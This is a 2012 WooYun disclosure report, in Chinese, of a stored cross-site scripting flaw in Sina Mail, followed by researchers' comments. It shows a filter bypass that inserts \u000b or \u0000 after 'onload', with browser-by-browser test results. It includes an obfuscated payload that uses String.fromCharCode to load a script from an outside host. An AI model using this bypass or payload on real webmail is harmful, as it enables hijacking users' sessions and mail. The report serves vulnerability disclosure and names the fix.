简要描述:

说到00这个东西,大家最熟悉的应该是上传截断,%00之类的。

00 通常表示字符串结束, 在C里是\0, JS里通常写为\u0000。

关于\0在XSS的应用,好像不算是很多吧,比较有名的 xss list(http://ha.ckers.org/xss.html)里对此也只有几个比较古老版本浏览器(IE6,NS啥的)的应用。

这里我发现在IE7,IE9 (没IE8的机器)中都可以使用\u0000来绕过一些正则,此外本文还发现另外一个特殊的字符,可以绕过某些正则的过滤。在详细说明中会提到。

(IE9可以\u0000,IE7下不行,IE8未测试。 IE9,IE7均可使用另外一个字符,IE8未测试。)

这里我就用这个技巧,绕过了新浪邮箱里的过滤,成功实现XSS。

PS:感谢粽子同学对此测试的帮助。

详细说明:

1. 其实这个过程是最基本的思路,写入以下HTML内容

<img src='http://www.wooyun.org/logo/CNVDlogo.jpg' onload='alert(1)'>

2. 不出意外, onload='alert(1)'被过滤掉了。

3. 继续测试过滤方式,输入以下代码

<img src='http://www.wooyun.org/logo/CNVDlogo.jpg' onload/='alert(1)'>

4. 看输出 onload\/='alert(1)' 这个可以说明:

新浪不是直接replace掉 onload之类的字符,

5. 经过测试onload空白符=alert('1') 一样会被过滤,可以推出:

大概的正则是 onload\s+=任意连续字符 被过滤为空

6. 根据以上测试结果,我们可以构建一个挑战性的模型如下:

onload某个不是空白的字符=alert('1') 

7. 构建一个测试页面: 见(http://xssreport.sinaapp.com/toolmao.com/sinamail.htm)

测试内容主要为 <img src=图片 onload某个字符=alert(某个字符ASCII) />

如果弹出了某个字符,就说明这个字符加在onload后面不影响onload=alert()的运行

8. 测试结果中比较意外的有2个,IE9支持0, IE7和IE9都支持11:

浏览器 onload*=alert 测试结果

IE9:  0,32,13,12,11,10,9

IE8:  没机器测试

IE7: 32,13,12,11,10,9,

FF: 32,13,10,9

Chrome:32,9,13,10,12

10. 除了0之外, 这个11 (16进制\u000b)确实挺陌生的,9,10,12,13,都是相对常见的。

11. 既然如此,我们测试 \u0000 ,和 \u000b

12. 由于抓包工具,没办法比较直接的发送这类字符,自己写了个工具发送了一下。

POST的内容大概如下,这里只列出最关键的msgtxt字段:

"msgtxt":"<img src='http://www.wooyun.org/logo/CNVDlogo.jpg' onload\u000b='-function(){var s=document.createElement(String.fromCharCode(115,99,114,105,112,116));s.src=String.fromCharCode(47,47,97,112,112,109,97,107,101,114,46,115,105,110,97,97,112,112,46,99,111,109,47,109,46,106,115);document.body.appendChild(s);}()'></img>",

13. 由于\u0000仅在IE9下有效,这里我用\u000b绕过。 效果见漏洞证明!

14. 这里还得说一下,\u0000 甚至可以写为

xxx.innerHTML="<img on\u0000load='alert(1)'>" 一样可以运行~

漏洞证明:

测试分别在WIN7+IE9, vista+IE7, XP+IE7进行,均成功!

WIN7+IE9

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

XP+IE7

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

占用乌云一点点存储空间, 俺简陋的工具,也出来露露脸吧!!

新浪邮箱正文存储型XSS,空字节不仅能上传,还能跨站

修复方案:

过滤\u0000 与\u000b


相关评论:

2012-05-17 15:24 | gainover (核心白帽子 | Rank:866 漏洞数:41 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

修正下简要描述里的内容,打错了: IE9可以\u0000,IE7下不行,IE8未测试。 IE9,IE7均可使用另外一个字符,IE8未测试。

 

2012-05-17 15:26 | 一刀终情( 普通白帽子 | Rank:118 漏洞数:24 | PKAV技术宅社区-安全爱好者111111111111111...)

膜拜,牛B,暴走了么,亲

 

2012-05-17 15:31 | gainover (核心白帽子 | Rank:866 漏洞数:41 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

@一刀终情 听说新浪送妹子~~ 有动力

 

2012-05-17 15:32 | wanglaojiu ( 普通白帽子 | Rank:45 漏洞数:12 | 道生一,一生二,二生三,三生万物,万物负...)

@gainover 又是sina,我无语了。

 

2012-05-17 15:33 | xsser (核心白帽子 | Rank:249 漏洞数:17 | talk is cheap)

god like!

 

2012-05-17 15:34 | gainover (核心白帽子 | Rank:866 漏洞数:41 | PKAV技术宅社区! -- gainover| 工具猫网络-...)

@wanglaojiu 产品都是慢慢变安全的,不然俺们也没存在的意义了,哈哈

 

2012-05-17 15:41 | wanglaojiu ( 普通白帽子 | Rank:45 漏洞数:12 | 道生一,一生二,二生三,三生万物,万物负...)

@gainover 也是哦,几乎每次伴随着服务器的升级都有新的洞子出现,难道是程序员更新换代太频繁。

 

2012-05-17 15:54 | livers ( 普通白帽子 | Rank:39 漏洞数:3 | 全能骑士不如沉默术士)

@gainover EOT 还是ETX 美女

 

2012-05-17 16:02 | FUck ( 实习白帽子 | Rank:5 漏洞数:1 | hello world.)

@xsser Legendary.

 

2012-05-17 16:10 | 歌颂( 普通白帽子 | Rank:36 漏洞数:5 | #1024)

mark大牛的足迹

 

2012-05-17 16:26 | 蟋蟀哥哥( 普通白帽子 | Rank:313 漏洞数:49 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

sina骗我原来有妹纸。。。我要妹纸。。 不要娃娃

 

2012-05-17 16:30 | zeracker ( 普通白帽子 | Rank:864 漏洞数:115 | 誓与AV抢宅男.301不再孤单!有事PM:zerack...)

我是来拜膜猫哥的、

 

2012-05-17 17:20 | 小博( 实习白帽子 | Rank:3 漏洞数:1 | 一个关注与信息安全 程序开发的IT程序员)

sina还有啥漏洞

 

2012-05-17 17:24 | wanglaojiu ( 普通白帽子 | Rank:45 漏洞数:12 | 道生一,一生二,二生三,三生万物,万物负...)

@小博 可以自己去尝试抓几个,sina邮件正文处的确实不多。

 

2012-05-29 12:00 | kamikaze ( 实习白帽子 | Rank:5 漏洞数:1 | xss)

@gainover sina邮箱正文的xss漏洞很多,主要是过滤机制(黑名单+删除)本身就不完善

 

2012-06-16 19:51 | pfdz ( 普通白帽子 | Rank:94 漏洞数:12 | Stay hungry. Stay foolish.)

学习了,膜拜下。。

 

2012-07-01 15:42 | also ( 普通白帽子 | Rank:186 漏洞数:25 | 专业维修核武器)

xss帝,正如大风所说的无傻瓜式工具,导致没有普及,所以大牛你再点引爆这场战争吧

 

2012-07-01 15:44 | xsser (核心白帽子 | Rank:249 漏洞数:17 | talk is cheap)

@also on the way!

 

2012-07-01 21:10 | xsser_w ( 普通白帽子 | Rank:39 漏洞数:7 | 无语)

我第一个想的是........gmail可以不 = = 不过目测肯定是绕不过去的


摘自:http://www.wooyun.org/bugs/wooyun-2010-07244